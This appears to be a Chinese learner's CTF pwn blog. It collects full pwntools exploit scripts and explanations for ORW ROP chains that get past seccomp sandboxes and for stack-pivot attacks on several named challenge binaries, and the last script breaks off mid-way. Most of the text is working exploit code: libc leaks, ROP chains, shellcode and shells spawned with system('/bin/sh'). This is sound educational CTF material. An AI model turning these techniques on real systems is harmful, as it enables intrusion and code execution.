9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./sandbox")
elf=ELF("./sandbox")
libc=ELF("libc.so.6")
def bug():
gdb.attach(p)
pause()

bss=0x404020+0x800
sandboxx = 0x4013ED
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-libc.sym['puts']
print(hex(libc_base))
rdi=libc_base+0x0000000000023b6a
rsi=libc_base+0x000000000002601f
rdx_r12=libc_base+0x0000000000119431
rsp = libc_base + 0x000000000002f70a
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
write_addr=libc_base+libc.sym['write']

payload2=b'a'*0x10+b'a'*0x8+p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(rdx_r12)+p64(0x100)+p64(0)+p64(read_addr)+p64(rsp)+p64(bss + 8)

p.recvuntil(b"name:")
p.send(payload2)


payload =b'/flag\x00\x00\x00'
payload +=p64(rdi)
payload +=p64(bss)
payload +=p64(rsi)
payload +=p64(0)
payload +=p64(open_addr)

payload +=p64(rdi)
payload +=p64(3)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(read_addr)

payload +=p64(rdi)
payload +=p64(1)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(write_addr)
payload +=p64(sandboxx )


p.send(payload)
p.interactive()

江西省赛

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

#from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')

#io = process("./vuln")
io = remote("",12345)

gs = '''
b *$rebase(0x19f2)
set debug-file-directory /home/zacsn/.config/cpwn/pkgs/2.31-
0ubuntu9.17/amd64/libc6-dbg_2.31-0ubuntu9.17_amd64/usr/lib/debug
set directories /home/zacsn/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/glibcsource_2.31-0ubuntu9.17_all/usr/src/glibc/glibc-2.31
'''
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
rl = lambda : io.recvline()
rn = lambda counts : io.recvn(counts)
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
#gdb.debug(elf.path,gdbscript=gs)
#gdb.attach(io,gdbscript = gs)
#gdb.attach(io)

elf = ELF("./pwn")
libc = ELF("./libc.so.6")


pop_rdi = 0x00000000004013d3
ru(b"hello sandbox!")

payload = b'a' * 0x28 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4012f9)

sl(payload)
ru(b'\x0a')
puts_addr = u64(rn(6)+b'\x00\x00')
lg("puts_addr")
libc_addr = puts_addr - libc.sym['puts']
lg("libc_addr")
open_addr = libc_addr + libc.sym['open']
read_addr = libc_addr + libc.sym['read']
write_addr = libc_addr + libc.sym['write']
pop_rsi = libc_addr + 0x000000000002601f
pop_rdx = libc_addr + 0x0000000000142c92
pop_rax = libc_addr + 0x0000000000036174
syscall = libc_addr+libc.search(asm("""syscall;ret""")).__next__()
bss_addr = 0x404200

ru(b"hello sandbox!")
payload2 = b'a' * 0x28 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x10) + p64(read_addr)
payload2 += p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
payload2 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss_addr + 0x100) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
payload2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss_addr + 0x100) + p64(pop_rdx) + p64(0x30) + p64(write_addr)

#gdb.attach(io)
sl(payload2)

sleep(1)
sl(b"./flag\x00\x00")

ia()

今天先写到这✍️,以后还会接着写📖,但是明天就要开始着手学堆了🔥,不然很多比赛都打不了🏆💪。

ctfshow pwn69

1
2
3
4
5
6
7
8
int sub_400A16()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Now you can use ORW to do");
read(0, buf, 0x38uLL);
return puts("No you don't understand I say!");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

可以看到orw是可以的,所以我们要先利用read将orw读到

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context(arch='amd64',os='linux',log_level='debug')
elf = ELF('./pwn')
p = remote('pwn.challenge.ctf.show','28191')

mmap = 0x123000
orw_shellcode = shellcraft.open("./ctfshow_flag")
orw_shellcode += shellcraft.read(3,mmap,100)
orw_shellcode += shellcraft.write(1,mmap,100)
orw_shellcode = asm(orw_shellcode)

jmp_rsp_addr = 0x400a01
buf_shellcode = asm(shellcraft.read(0,mmap,100)) + asm("mov rax,0x123000; jmp rax")
buf_shellcode = buf_shellcode.ljust(0x28,b'\x00')
buf_shellcode += p64(jmp_rsp_addr) + asm("sub rsp,0x30; jmp rsp")


p.recvuntil('do')
p.sendline(buf_shellcode)
p.sendline(orw_shellcode)
p.interactive()

这一部分是标准的orw

1
2
3
4
orw_shellcode = shellcraft.open("./ctfshow_flag")
orw_shellcode += shellcraft.read(3,mmap,100)
orw_shellcode += shellcraft.write(1,mmap,100)
orw_shellcode = asm(orw_shellcode)

这部分我来详细解释一下

1
2
3
buf_shellcode = asm(shellcraft.read(0,mmap,100)) + asm("mov rax,0x123000; jmp rax")
buf_shellcode = buf_shellcode.ljust(0x28,b'\x00')
buf_shellcode += p64(jmp_rsp_addr) + asm("sub rsp,0x30; jmp rsp")

asm(shellcraft.read(0,mmap,100)):这是汇编代码,用于调用read系统调用,从标准输入读取最多100字节的数据到地址0x123000。

asm(“mov rax,0x123000; jmp rax”):先将0x123000放入rax,然后jmp rax执行shellcode,为什么是sellcode呢等下再说。

p64(jmp_rsp_addr):将返回地址覆盖成jmp rsp,此时程序跳转到 rsp 指向的位置,即 asm("sub rsp, 0x30; jmp rsp")因为pop ebp后rsp

增高0x08。

asm(“sub rsp,0x30; jmp rsp”):sub rsp,0x30使得rsp减0x30到达了buf的起始位置,jmp rsp就开始执行了。

然后我来看看整个流程。

p.sendline(buf_shellcode)后,栈上

1
2
3
4
read(0,mmap,100)
buf_shellcode.ljust(0x28,b'\x00')
p64(jmp_rsp_addr) # return_addr
asm("sub rsp,0x30; jmp rsp")

有第二部分的分析我们知道rsp此时已经达到buf的起始位置开始执行read了,所以我们才有第二次send。

我们把标准的orw输入后,同理rsp又会回到起始位置开始执行orw,最终得到flag。

newstar2025 noshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v5; // [rsp+8h] [rbp-108h] BYREF
char buf[256]; // [rsp+10h] [rbp-100h] BYREF

init(argc, argv, envp);
write(1, "Your Power Has Been Restricted!\n", 0x20uLL);
write(1, "But your mind is still free!\n", 0x1DuLL);
write(1, "Do you want to say something?\n", 0x1EuLL);
if ( getchar() == 121 || getchar() == 89 )
{
read(0, buf, 0xFFuLL);
buf[255] = 0;
}
else
{
write(1, "You chose not to say anything.\n", 0x20uLL);
}
write(1, "leave or capture the flag?\n", 0x1CuLL);
__isoc99_scanf("%lld", &v5);
if ( v5 <= 0 )
{
v3 = 1LL;
}
else
{
v3 = v5;
if ( v5 > 2 )
v3 = 2LL;
}
v5 = v3;
if ( v3 == 1 )
{
write(1, "You chose to leave.\n", 0x14uLL);
exit(0);
}
if ( v5 == 2 )
write(1, "You chose to capture the flag!\n", 0x1FuLL);
challenge();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void __noreturn challenge()
{
int v0; // [rsp+Ch] [rbp-4h] BYREF

while ( 1 )
{
write(1, "Welcome to the challenge!\n", 0x1AuLL);
write(1, "Please Make choice:\n", 0x14uLL);
write(1, "1. Check your power\n", 0x14uLL);
write(1, "2. Get the power of your cat\n", 0x18uLL);
write(1, "3. Open the door\n", 0x11uLL);
write(1, "4. Destroy this world\n", 0x16uLL);
write(1, "5. leave this world\n", 0x14uLL);
write(1, "your choice: ", 0xDuLL);
__isoc99_scanf("%d", &v0);
switch ( v0 )
{
case 1:
Check_your_power();
break;
case 2:
Get_the_power_of_your_cat();
break;
case 3:
open_the_door();
break;
case 4:
destroy_this_world();
break;
case 5:
write(1, "Goodbye!\n", 9uLL);
exit(0);
default:
write(1, "Invalid choice!\n", 0x10uLL);
break;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
ssize_t Check_your_power()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Your power:");
printf("%d\n", (unsigned int)off);
puts("say something:");
return read(0, buf, off);
}

int Get_the_power_of_your_cat()
{
int result; // eax

result = puts("cat help you");
off = 256;
return result;
}

int open_the_door()
{
int fd; // [rsp+Ch] [rbp-4h]

fd = open("flag.txt", 0);
close(fd);
return puts("The door is closed!");
}

int destroy_this_world()
{
int v1; // [rsp+Ch] [rbp-4h] BYREF

puts("make a choice:");
__isoc99_scanf("%d", &v1);
if ( v1 )
return system("rm -rf ./flag");
else
return system("/bin/sh");
}

这个sandbox,open,write,read地址都给了,感觉就难在长度的限制要利用上mov rdi rax;ret这个,最后一个rop链

锁了几个小时终于通了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

context(arch='amd64', os='linux', log_level='debug')


def debug():
gdb.attach(p)
pause()


p = remote('ip', port)
# p=process('./noshell')
#elf = ELF('./noshell')

open_addr = 0x4011E0
read_addr = 0x4011B0
write_addr = 0x401150
bss_addr= 0x404000 + 0x200
flag = 0x402034
pop_rdi = 0x4013f3
pop_rsi = 0x4013f5
pop_rdx = 0x4013f7
ret = 0x4014CA
mov_rdi_rax = 0x00000000004013f9
p.recvuntil(b'Do you want to say something?\n')
p.sendline(b'y')
p.recvuntil(b'leave or capture the flag?\n')
p.sendline(b'3')
p.recvuntil(b'your choice: ')
p.sendline(b'2')
p.recvuntil(b'your choice: ')
p.sendline(b'1')

# 更紧凑的payload
payload2 = b'a' * 0x28
#payload2 += p64(ret)
payload2 += p64(pop_rdi) + p64(0)
payload2 += p64(pop_rsi) + p64(bss_addr)
payload2 += p64(pop_rdx) + p64(8)
payload2 += p64(read_addr)

# 打开文件 (O_RDONLY = 0)
payload2 += p64(pop_rdi) + p64(bss_addr) # filename
payload2 += p64(pop_rsi) + p64(0) # flags = O_RDONLY
payload2 += p64(pop_rdx) + p64(0) # mode = 0
payload2 += p64(open_addr)

# 传递文件描述符并读取文件内容
payload2 += p64(mov_rdi_rax) # mov rdi, rax
payload2 += p64(pop_rsi) + p64(bss_addr + 0x100)
payload2 += p64(pop_rdx) + p64(0x100)
payload2 += p64(read_addr)

# 写入到stdout
payload2 += p64(pop_rdi) + p64(1)
payload2 += p64(pop_rsi) + p64(bss_addr + 0x100)
payload2 += p64(pop_rdx) + p64(0x100)
payload2 += p64(write_addr)
# debug()
p.send(payload2)
p.send(b'./flag\x00\x00')
p.interactive()

当然如果没直接给出orw函数地址,我们也可以先利用libc泄露再orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110


from pwn import *
from LibcSearcher import *

context(arch='amd64', os='linux')
#(arch='amd64', os='linux')
# io = process("./noshell")
io = remote('ip', port)

elf = ELF("./noshell")

# Gadgets from ROPgadget
pop_rdi = 0x4013f3
pop_rsi = 0x4013f5
pop_rdx = 0x4013f7
bss_addr = 0x4040A0 +0x200
ret = 0x40101a
read_addr = 0x401446
mov_rdi_rax = 0x00000000004013f9
# Step 1: Enter challenge and set off to 256
io.recvuntil(b"Do you want to say something?\n")
io.send(b'y') # Send 'y' to trigger read
io.send(b'A' * 100) # Send some data for read

io.recvuntil(b"leave or capture the flag?\n")
io.sendline(b'2') # Choose to capture the flag

# Step 2: Set off to 256 first
io.recvuntil(b"your choice: ")
io.sendline(b'2') # Get_the_power_of_your_cat

# Step 3: Leak libc address
io.recvuntil(b"your choice: ")
io.sendline(b'1') # Check_your_power
io.recvuntil(b"say something:\n")

payload1 = b'A' * 0x20 # Fill buffer
payload1 += b'B' * 8 # Override RBP
payload1 += p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])
payload1 += p64(elf.symbols['challenge']) # Return to challenge to continue

io.send(payload1)

# Receive leaked address
puts_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
log.info("puts_addr: 0x%x" % puts_addr)

io.recvuntil(b"your choice: ")
io.sendline(b'1') # Check_your_power
io.recvuntil(b"say something:\n")

payload2 = b'A' * 0x20 # Fill buffer
payload2 += b'B' * 8 # Override RBP
payload2 += p64(pop_rdi) + p64(elf.got['write']) + p64(elf.plt['puts'])
payload2 += p64(elf.symbols['challenge']) # Return to challenge to continue

io.send(payload2)

# Receive leaked address
write_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
log.info("write_addr: 0x%x" % write_addr)
#pause()

libc_base = puts_addr - 0x084ed0
open_addr = libc_base + 0x117610
read_addr = libc_base +0x117900
rdx_r12 = libc_base + 0x0000000000122431
rsp =libc_base + 0x0000000000039762

# Step 4: Second overflow to read flag
# We're already back in challenge function due to the loop
io.recvuntil(b"your choice: ")
io.sendline(b'2') # Set off to 256 again (just to be safe)

io.recvuntil(b"your choice: ")
io.sendline(b'1') # Check_your_power



# 更紧凑的payload
payload2 = b'a' * 0x28
#payload2 += p64(ret)
payload2 += p64(pop_rdi) + p64(0)
payload2 += p64(pop_rsi) + p64(bss_addr)
payload2 += p64(pop_rdx) + p64(8)
payload2 += p64(read_addr)

# 打开文件 (O_RDONLY = 0)
payload2 += p64(pop_rdi) + p64(bss_addr) # filename
payload2 += p64(pop_rsi) + p64(0) # flags = O_RDONLY
payload2 += p64(pop_rdx) + p64(0) # mode = 0
payload2 += p64(open_addr)

# 传递文件描述符并读取文件内容
payload2 += p64(mov_rdi_rax) # mov rdi, rax
payload2 += p64(pop_rsi) + p64(bss_addr + 0x100)
payload2 += p64(pop_rdx) + p64(0x100)
payload2 += p64(read_addr)

# 写入到stdout
payload2 += p64(pop_rdi) + p64(1)
payload2 += p64(pop_rsi) + p64(bss_addr + 0x100)
payload2 += p64(pop_rdx) + p64(0x100)
payload2 += p64(write_addr)
# debug()

io.send(payload2)
io.send(b'./flag\x00\x00')
io.interactive()

栈迁移专题学习

📚 看了好几篇栈迁移的文章,🤔 越看越懵,😵‍💫 感觉自己和没学 pwn 的一样。

原理学习

32位

  1. 首先先了解栈的结构

1

(自己画的,有错误望指正)

  1. 了解栈的结构后,我们再来仔细了解一下leave;ret这两个指令
1
2
3
4
5
call func()
-----------
push eip + 4
push ebp
mov ebp,esp

如果要保持栈平衡就要在call退出的时候执行相反的操作

1
2
3
4
5
6
7
8
leave
----------
mov esp,ebp
pop ebp
************
ret
------------
pop eip
  1. 什么时候用栈迁移:

    (1).有栈溢出漏洞。

    (2).溢出的长度不够。

    所以我们就要把栈迁移到一个长度够大的区域(通常是bss段),那怎么把栈迁移呢,主要就是控制栈顶的esp指针指向我们想要他到达的地方(迁移后的地址),从而控制程序的执行流。

  2. 栈迁移最重要就是怎么利用leave;ret进行栈迁移

1
2
3
leave //mov esp;ebp 把ebp传给esp,此时esp和ebp就在同一个位置了,他们指向同一个内容
//pop ebp 把栈顶的内容弹给ebp。此时ebp指向的就是栈顶的内容了
由于esp时刻指向的是栈顶的位置,栈顶的内容弹出后,esp会下降一个单位

2

1
ret  //pop eip 就是把esp指向地址弹如eip,同时esp下降一个单元

3

了解了栈的结构和leave;ret的执行过程后,就可以来了解栈迁移的原理了

  1. 栈迁移的原理:栈迁移一共要执行两次leave;ret

    1.首先我们先了解一下此时栈上的分布情况

    1
    2
    3
    4
    5
    6
    7
    主要如下图,这里注释:
    0xffff100c--->system的返回地址
    0xffff1010--->system参数的存储地址
    0xffff1014--->存储/bin
    0xffff1018--->存储/sh
    0xffff1020--->0xffff1004 也就是ebp--->0xffff1004
    0xffff1024--->leave ret; 原本是return address;

    4

    2.第一次leave;ret:

    1
    2
    3
    由上面的leave;ret的执行过程,首先leave:mov ebp;esp,让ebp和esp在同一个位置;leave: pop ebp,此时我们把ebp所指的内容换成
    了需要迁移到的位置,所以pop ebp后esp指向的就是需要迁移到的位置。然后我们把return address换成leave ret的地址,就会再次执
    行leave ret。

    5

    3.第二次leave;ret:

    1
    2
    3
    同样是leave:mov ebp;esp,让ebp和esp在同一个位置;但是此时ebp指向的是需要迁移到的位置,所以esp此时指向的也是需要迁移到的位
    置;leave:pop ebp,我们把return address的地址换成system的地址,就使得esp下降一个单元后正好指向system的地址。ret:pop
    eip,最终eip指向system的地址--->getshell

    5

了解完了32位的栈溢出,现在来了解64位栈溢出

64位

64位和32位栈的结构是相似的,主要不同就是调用函数时传参的不同

5

实例

32位

buuctf-ciscn_2019_es_2

6

  1. IDA反编译

6

6

计算一下溢出的长度0x30 - 0x28 = 8;很明显长度不够,要用到栈迁移。

  1. 先给出exp,在具体解释
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

r=remote('node5.buuoj.cn',29440)
#r=process('./ciscn_s_4')
context.log_level='debug'

sys_addr=0x8048400
leave=0x080484b8

payload=b'a'*0x24+b'bbbb'
r.recvuntil(b'Welcome, my friend. What's your name?')
r.send(payload)
r.recvuntil('bbbb')
ebp=u32(p.recv(4).ljust(4,b'\x00'))
buf=ebp-0x38
payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)
r.send(payload)
r.interactive()
  1. 首先找到leave ret的地址可以用ROPgadget找,也可以直接在IDA的汇编代码里面找

(1)用ROPgadget

1
ROPgadget --binary ciscn_2019_es_2 --only "leave|ret"

8

(2)在IDA的汇编代码里面找

​ 8

  1. 找到system的plt地址

8

  1. 在vul函数中有两个溢出点,所以我们就需要先通过第一个溢出泄露出ebp的地址,再构造栈迁移的payload

    (1)首先泄露ebp的地址

    1
    2
    3
    4
    5
    6
    7
    8
    9
    from pwn import *
    r = process('./pwn')
    #r = remote("node5.buuoj.cn", 25271)
    payload1= b'a'*0x24 + b'b'*4
    r.send(payload1)
    r.recvuntil('bbbb')
    ebp_addr = u32(r.recv(4))
    print(hex(ebp_addr))
    r.interactive()

    (2)构造栈迁移的payload

    1
    2
    buf=ebp-0x38 
    payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)

    buf=ebp-0x38 通过调试可以得到,我们最后调试,先解释payload

    1
    2
    3
    4
    5
    payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf)+p32(leave)
    ---------------------------------------------------------------------------------------------------------------
    buf + 12:p32(sys_addr)=4,b'aaaa'=4,p32(buf+12)=4,4+4+4=12所以buf+12就是/bin/sh的起始地址
    p32(buf):栈迁移所到达的位置
    leave:leave ret;

    8

​ 0xfffd158 - 0xfffd130 = 0x28 0xfffd158回弹到0xfffd168,正好0x28 + 0x10 = 0x38;

64位

actf_2019_babystack

9

64位,只开了NX,先给出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
 #coding=utf8
from pwn import *
from LibcSearcher import*
context.log_level = 'debug'
def debug():
gdb.attach(io)
pause()
#io =process('./ACTF_2019_babystack')
io = remote("node5.buuoj.cn",26651)
elf =ELF('./ACTF_2019_babystack')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x4008F6
#gdb.attach(io)
io.recvuntil(b'>')
io.sendline(b'224')
io.recvuntil(b'Your message will be saved at ')
stack_addr = io.recv(14)
stack_addr =int(stack_addr,16)
print(hex(stack_addr))
pop_rdi_ret = 0x400ad3
pop_rsi__r15_ret =0x400ad1
leave_ret = 0x400A18
offest = 0xd0
payload = b'a'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
payload =payload.ljust(0xd0,b'a')
payload+=p64(stack_addr)+p64(leave_ret)
io.recvuntil(b'>')
io.send(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('puts_addr:'+hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
system_addr = puts_addr-libc.dump('puts')+libc.dump('system')
str_bin_sh = puts_addr-libc.dump('puts')+libc.dump('str_bin_sh')
io.recvuntil(b'>')
io.sendline(b'224')
io.recvuntil(b'Your message will be saved at ')
stack_addr = io.recv(14)
stack_addr =int(stack_addr,16)
payload = b'a'*8+p64(leave_ret+1)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
payload =payload.ljust(0xd0,b'a')
payload+=p64(stack_addr)+p64(leave_ret)
io.send(payload)
io.interactive()

9

这个很明显要栈迁移了

这个附件里面没有找到system的地址,所以我们只能通过泄露libc来打了

1
2
3
4
payload = b'a'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) #ret2libc的payload
payload =payload.ljust(0xd0,b'a') #填充垃圾数据
payload+=p64(stack_addr)+p64(leave_ret) #stack_addr就是栈的起始位置,也就是我要迁移到的位置,本题直接回打印出来,接受就可以了
b'a'*8是因为pop rbp的时候 rsp会+8,所以要。

发送payload后,就会泄露libc

1
2
3
4
payload = b'a'*8+p64(leave_ret+1)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
#system(/bin/sh) leave_ret+1--->retn用于堆栈平衡
payload =payload.ljust(0xd0,b'a')#填充垃圾数据
payload+=p64(stack_addr)+p64(leave_ret) #同理最终栈迁移执行shell

栈迁移到这里基本就总结结束啦~🌈✨😊

这里记录一个难的栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Are you the king of stack migrate?");
read(0, buf, 0x90uLL);
puts("Good luck.");
return 0LL;
}

0x90 - 0x80 = 0x10典型的栈迁移,先给exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

# 设置环境
context(os='linux', arch='amd64', log_level='info')

# 启动远程连接
io = remote('nc1.ctfplus.cn', 30481)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
leave_ret = 0x4011c8
# 快捷函数
sa = lambda a, b: io.sendafter(a, b)
ru = lambda a: io.recvuntil(a)
sd = lambda x: io.send(x)
inter = lambda: io.interactive()

offset = 0x80
padding = offset + 0x8
bss = 0x404020 + 0x500

# 第一次栈迁移:将rbp劫持到bss段
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x40119e) # read -> bss+off
sa(b'Are you the king of stack migrate?\n', pay_pivot)
ru(b'Good luck.\n')
#gdb.attach(p)
#pause()
# 泄露puts地址
payload = flat(
0x401146, elf.got['puts'], elf.plt['puts'], # pop_rdi; puts_got; puts@plt
0x40112d, bss + offset + 0x200, 0x40119e, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)
sd(payload)
ru(b'Good luck.\n')

# 解析puts地址
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.success(f"libc_base: {hex(libc_base)}")

# 构造最终payload执行system("/bin/sh")
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload = flat(
pop_rdi := 0x401146,
binsh_addr,
system_addr
).ljust(0x80, b'\x00')

payload += p64(bss + 0x200 - 0x8) + p64(0x4011c8) # leave_ret

sleep(0.5)
io.send(payload)

io.interactive()
1
这里只有一个read函数,所以我们迁到栈上几乎是不可能的了,所以我们就想到迁到bss的段上

这里把payload怎么构造和解题思路详细写一下。

解题思路

1
先将栈迁到bss的段上,返回地址覆盖为read函数,再次读入时泄露puts的地址,返回地址依然为read,再次读入getshell。

详细解释一下这个payload

1
pay_pivot = cyclic(offset) + p64(bss + offset) + p64(0x40119e)

read_addr = 0x40119e,rbp –>p64(bss + offset),返回地址覆盖为read_addr(raed_addr后面有leave_ret)所以完成了,将栈迁移到bss + offset的位置进行读入。

1
2
3
4
5
6
payload = flat(
0x401146, elf.got['puts'], elf.plt['puts'], # pop_rdi; puts_got; puts@plt
0x40112d, bss + offset + 0x200, 0x40119e, # pop_rbp; read -> next stage
cyclic(0x50),
bss - 0x8, leave_ret # leave; ret
)

0x401146, elf.got[‘puts’], elf.plt[‘puts’]写了puts的地址的payload。

0x40112d, bss + offset + 0x200, 0x40119e, # pop_rbp; read -> next stage;利用pop_rbp再次利用read。

cyclic(0x50)–>0x401146, elf.got[‘puts’], elf.plt[‘puts’]和0x40112d, bss + offset + 0x200, 0x40119e加在一起是0x30+0x50=0x80。

bss - 0x8, leave_ret ;将栈迁移到 bss - 0x8的位置。pop_rbp是怎么利用的呢,首先read读入这串payload后先执行 0x401146,

elf.got[‘puts’], elf.plt[‘puts’]泄露puts的地址,然后pop_rbp。rbp就储存了bss+offset + 0x200的位置,接着执行0x40119e,从bss + offset +

0x200的位置开始read。

1
2
3
4
5
6
7
payload = flat(
pop_rdi := 0x401146,
binsh_addr,
system_addr
).ljust(0x80, b'\x00')

payload += p64(bss + 0x200 - 0x8) + p64(0x4011c8)

payload = flat(
pop_rdi := 0x401146,
binsh_addr,
system_addr
).ljust(0x80, b’\x00’)是构造system(/bin/sh)

payload += p64(bss + 0x200 - 0x8) + p64(0x4011c8)完成栈迁移。

[Black Watch 入群题]PWN1

这题不难记录一下题目和exp就可以了

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vul_function();
puts("GoodBye!");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t vul_function()
{
size_t v0; // eax
size_t v1; // eax
char buf[24]; // [esp+0h] [ebp-18h] BYREF

v0 = strlen(m1);
write(1, m1, v0);
read(0, &s, 0x200u); //s在bss段上
v1 = strlen(m2);
write(1, m2, v1);
return read(0, buf, 0x20u);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from LibcSearcher import *

# 连接到远程服务
p = remote('node5.buuoj.cn', 27611)

# 设置环境参数(架构、操作系统、日志等级)
context(arch='i386', os='linux', log_level='debug')

# 加载本地 ELF 文件
e = ELF('./spwn')

# 获取程序中的符号地址
write_plt = e.plt['write']
write_got = e.got['write']
read_plt = e.plt['read']
main_addr = 0x08048513 # main 函数地址

# 第一次发送 payload:泄露 write 的真实地址
payload1 = b'aaaa' + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.recvuntil('What is your name?')
p.send(payload1)

# 接收输入提示
p.recvuntil('What do you want to say?')

